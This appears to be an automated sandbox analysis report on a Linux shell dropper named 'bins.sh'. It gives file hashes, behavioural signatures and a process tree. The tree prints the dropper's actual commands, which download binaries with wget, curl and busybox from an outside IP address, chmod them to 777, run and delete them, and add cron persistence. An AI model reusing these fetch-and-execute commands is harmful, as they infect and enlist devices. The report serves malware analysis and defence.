Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 17:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9bba4ee40fc1f939fff061054cf330df

  • SHA1

    f27d57c589ca7606dde15a500b6289240182abd1

  • SHA256

    8aeecbca04728d12f9a2c6fc99c020f6a2a452d8818725dbcada6bc8610c85dd

  • SHA512

    a58ef1fcfd72e938d3137363918dde300be1813e9ef4e9856f3bf7fb9f92590081a19bf35cd0e40952db1f607e63da93f211da11d533af8d05274007f423dee3

  • SSDEEP

    192:ogNwwwYwWw1wBwRVwpAiwwwYwWw1wBwIp:ogNwwwYwWw1wBwRVwaiwwwYwWw1wBww

Malware Config

Signatures

  • Contacts a large (1119) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
            PID:730
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            ./aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://216.126.231.240/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
              • Writes file to tmp directory
              PID:740
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              ./pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
              • Executes dropped EXE
              PID:757
            • /bin/rm
              rm pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://216.126.231.240/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                • Writes file to tmp directory
                PID:762
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:771
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                ./UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                • Executes dropped EXE
                PID:795
              • /bin/rm
                rm UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                2⤵
                  PID:798
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod 777 HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                  • File and Directory Permissions Modification
                  PID:803
                • /tmp/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  ./HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                  • Executes dropped EXE
                  PID:804
                • /bin/rm
                  rm HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                  2⤵
                    PID:806
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod 777 YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:814
                  • /tmp/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    ./YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                    • Executes dropped EXE
                    PID:816
                  • /bin/rm
                    rm YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                    2⤵
                      PID:819
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:820
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:827
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:836
                    • /bin/chmod
                      chmod 777 8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:841
                    • /tmp/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      ./8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:842
                    • /bin/rm
                      rm 8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                      2⤵
                      • System Network Configuration Discovery
                      PID:845
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      2⤵
                      • Writes file to tmp directory
                      PID:846
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/chmod
                      chmod 777 pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      ./pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:855
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:857
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:858
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:859
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:860
                          • /bin/rm
                            rm pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                            2⤵
                              PID:862
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                              2⤵
                              • System Network Configuration Discovery
                              PID:945

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /var/spool/cron/crontabs/tmp.iO0pXm

                            Filesize

                            210B

                            MD5

                            ba852bbac7926290dffad7e5919407ef

                            SHA1

                            4eaf6f13023c487691c978bcc0e84f4127a0c8ea

                            SHA256

                            45d528dfeed9c3c1c1f1e7c6d17074ac63753f2dc8c587f4006e8ae3dee9ef65

                            SHA512

                            2ad77d535f4abee7813057be93c4e62b3f0afd3ec59082ebafc1d6d3c1df7f999dfa5ed2df7698cfeda86fd88853be87538614365722a85494142ad0b8007ed4